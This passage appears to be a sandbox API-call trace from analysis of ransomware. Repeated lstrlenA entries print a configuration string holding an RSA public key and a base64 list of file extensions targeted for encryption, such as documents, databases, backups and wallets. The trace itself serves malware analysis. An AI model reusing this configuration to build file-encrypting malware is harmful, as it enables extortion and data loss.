ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN